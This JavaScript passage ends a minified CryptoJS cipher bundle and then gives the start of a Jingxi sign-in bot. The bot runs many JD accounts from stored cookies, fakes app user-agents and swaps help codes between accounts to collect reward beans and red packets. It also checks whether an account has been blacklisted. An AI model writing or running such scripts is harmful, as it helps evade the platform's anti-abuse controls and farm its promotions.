50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜签到'); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let UA, UAInfo = {}, isLoginInfo = {}; +$.shareCodes = []; +$.blackInfo = {} +$.appId = "0ac98"; +const JX_FIRST_RUNTASK = $.isNode() ? (process.env.JX_FIRST_RUNTASK && process.env.JX_FIRST_RUNTASK === 'xd' ? '5' : '1000') : ($.getdata('JX_FIRST_RUNTASK') && $.getdata('JX_FIRST_RUNTASK') === 'xd' ? '5' : '1000') +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require("crypto-js") : CryptoJS; + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (i === 0) console.log(`\n正在收集助力码请等待\n`) + if (!isLoginInfo[$.UserName]) continue + if (JX_FIRST_RUNTASK === '5') { + $.signhb_source = '5' + } else if (JX_FIRST_RUNTASK === '1000') { + $.signhb_source = '1000' + } + await signhb(1) + await $.wait(500) + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`) + if (!isLoginInfo[$.UserName]) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }) + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`) + } + continue + } + UA = UAInfo[$.UserName] + if (JX_FIRST_RUNTASK === '5') { + console.log(`开始运行喜豆任务`) + $.taskName = '喜豆' + $.signhb_source = '5' + await main() + console.log(`\n开始运行红包任务`) + $.taskName = '红包' + $.signhb_source = '1000' + await main(false) + } else if (JX_FIRST_RUNTASK === '1000') { + console.log(`开始运行红包任务`) + $.taskName = '红包' + $.signhb_source = '1000' + await main() + console.log(`\n开始运行喜豆任务`) + $.taskName = '喜豆' + $.signhb_source = '5' + await main(false) + } + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }) + +async function main(help = true) { + $.commonlist = [] + $.bxNum = [] + $.black = false + $.canHelp = true + await signhb(2) + await $.wait(2000) + if (!$.sqactive && $.signhb_source === '5') { + console.log(`未选择自提点,跳过执行`) + return + } + if (help) { + if ($.canHelp) { + if ($.shareCodes && $.shareCodes.length) { + console.log(`\n开始内部互助\n`) + for (let j = 0; j < $.shareCodes.length; j++) { + if ($.shareCodes[j].num == $.shareCodes[j].domax) { + $.shareCodes.splice(j, 1) + j-- + continue + } + if ($.shareCodes[j].use === $.UserName) { + console.log(`不能助力自己`) + continue + } + console.log(`账号 ${$.UserName} 去助力 ${$.shareCodes[j].use} 的互助码 ${$.shareCodes[j].smp}`) + if ($.shareCodes[j].max) { + console.log(`您的好友助力已满`) + continue + } + await helpSignhb($.shareCodes[j].smp) + await $.wait(2000) + if (!$.black) $.shareCodes[j].num++ + break + } + } + } else { + console.log(`今日已签到,无法助力好友啦~`) + } + } + if (!$.black) { + await helpSignhb() + if ($.commonlist && $.commonlist.length) { + console.log(`开始做${$.taskName}任务`) + for (let j = 0; j < $.commonlist.length && !$.black; j++) { + await dotask($.commonlist[j]); + await $.wait(2000); + } + } else { + console.log(`${$.taskName}任务已完成`) + } + if ($.bxNum && $.bxNum.length) { + for (let j = 0; j < $.bxNum[0].bxNum; j++) { + await bxdraw() + await $.wait(2000) + } + } + if ($.signhb_source === '1000') await SignedInfo() + } else { + console.log(`此账号已黑`) + } + await $.wait(2000) +} + +// 查询信息 +function signhb(type = 1) { + let functionId = 'signhb/query', body = ''; + if ($.signhb_source === '5') { + functionId = 'signhb/query_jxpp' + body = `type=0&signhb_source=${$.signhb_source}&smp=&ispp=1&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl(functionId, body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} query签到 API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if ($.signhb_source === '5') { + $.sqactive = ''; + if (!data.sqactive) return + $.sqactive = data.sqactive + } + const { + smp, + commontask, + sharetask, + signlist = [] + } = data + let domax, helppic, status + if (sharetask) { + domax = sharetask.domax + helppic = sharetask.helppic + status = sharetask.status + } + let helpNum = 0 + if (helppic) helpNum = helppic.split(";").length - 1 + switch (type) { + case 1: + if (status === 1) { + let max = false + if (helpNum == domax) max = true + $.shareCodes.push({ + 'use': $.UserName, + 'smp': smp, + 'num': helpNum || 0, + 'max': max, + 'domax': domax + }) + } + break + case 2: + for (let key of Object.keys(signlist)) { + let vo = signlist[key] + if (vo.istoday === 1) { + if (vo.status === 1 && data.todaysign === 1) { + console.log(`今日已签到`) + $.canHelp = false + } else { + console.log(`今日未签到`) + } + } + } + console.log(`【签到互助码】${smp}`) + if (helpNum) console.log(`已有${helpNum}人助力`) + if (commontask) { + for (let i = 0; i < commontask.length; i++) { + if (commontask[i].task && commontask[i].status != 2) { + $.commonlist.push(commontask[i].task) + } + } + } + console.log(`可开启宝箱${data.baoxiang_left}个`) + $.bxNum.push({ + 'bxNum': data.baoxiang_left + }) + break + default: + break + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 签到 助力 +function helpSignhb(smp = '') { + let functionId, body; + if ($.signhb_source === '5') { + functionId = 'signhb/query_jxpp' + body = `type=1&signhb_source=${$.signhb_source}&smp=&ispp=1&tk=` + } else { + functionId = 'signhb/query' + body = `type=1&signhb_source=${$.signhb_source}&smp=${smp}&ispp=0&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl(functionId, body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} query助力 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + const { + signlist = [] + } = data + for (let key of Object.keys(signlist)) { + let vo = signlist[key] + if (vo.istoday === 1) { + if (vo.status === 1 && data.todaysign === 1) { + // console.log(`今日已签到`) + } else { + console.log(`此账号已黑`) + $.black = true + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 任务 +function dotask(task) { + let functionId, body; + if ($.signhb_source === '5') { + functionId = 'signhb/dotask_jxpp' + body = `task=${task}&signhb_source=${$.signhb_source}&ispp=1&sqactive=${$.sqactive}&tk=` + } else { + functionId = 'signhb/dotask' + body = `task=${task}&signhb_source=${$.signhb_source}&ispp=0&sqactive=&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl(functionId, body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} dotask API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log($.signhb_source === '5' ? `完成任务 获得${data.sendxd}喜豆` : `完成任务 